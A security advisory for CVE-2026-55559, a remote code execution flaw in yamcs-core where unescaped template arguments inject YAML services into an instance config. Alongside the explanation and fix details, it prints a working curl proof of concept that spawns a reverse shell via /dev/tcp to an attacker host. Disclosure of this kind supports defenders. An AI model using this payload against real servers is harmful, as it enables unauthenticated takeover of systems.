critical · 9.8CVE-2026-55559Aug 28, 2026

CVE-2026-55559: yamcs-core Remote Code Execution via Instance Template YAML Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in Yamcs lets an attacker inject raw YAML into an instance config file through an unescaped template argument, causing Yamcs to load an attacker-controlled service class and execute arbitrary…

Packageorg.yamcs:yamcs-core
Ecosystemmaven
Affected>= 5.13.0, <= 5.13.1
Fixed in5.13.2
CVE-2026-55559: yamcs-core Remote Code Execution via Instance Template YAML Injection

The problem

The POST /api/instances and PATCH /api/instances/{instance} endpoints accept templateArgs that are substituted verbatim into a YAML config file by VarStatement.java with a bare buf.append(value) and no newline or special-character filtering.

The rendered YAML is then parsed by SnakeYAML and loaded as the live instance config. Because Yamcs instantiates every entry under services: by its class: key via YObjectLoader, an attacker who can write a newline into a template argument can add a fully functional services: block.

In the default install there is no security.yaml, the guest user is superuser=true, and the endpoint requires no authentication at all.

Proof of concept

A working proof-of-concept for CVE-2026-55559 in org.yamcs:yamcs-core, with the exact payload below.

bash
# Start a netcat listener first:
# nc -lvnp 4444

curl -i -X POST http://<TARGET>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

The spaceSystem value closes the surrounding YAML double-quoted string with ", then uses a literal newline to break out into a new top-level key. SnakeYAML uses last-key-wins semantics, so the injected services: block overrides the template's own services: [].

The trailing # comments out the original closing quote so the document remains valid YAML.

Yamcs then calls YObjectLoader on every entry in services:, instantiating org.yamcs.ProcessRunner, which executes the attacker-supplied command list via new ProcessBuilder(command).start(). The root cause is CWE-94 / CWE-470 / CWE-1336: template variable values are appended to a string buffer without YAML-context escaping, and the engine has no allowlist or newline rejection before the string is parsed as structured config.

The fix

Upgrade to yamcs-core 5.13.2 (or 5.12.8 for the 5.12.x line). The fix validates templateArgs values against the template's declared variable metadata, rejects newlines and control characters in substituted values, and enforces the choices / required constraints server-side rather than only in the web UI.

Patch commits: 549f295 and 7192da1 in the yamcs/yamcs repository.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research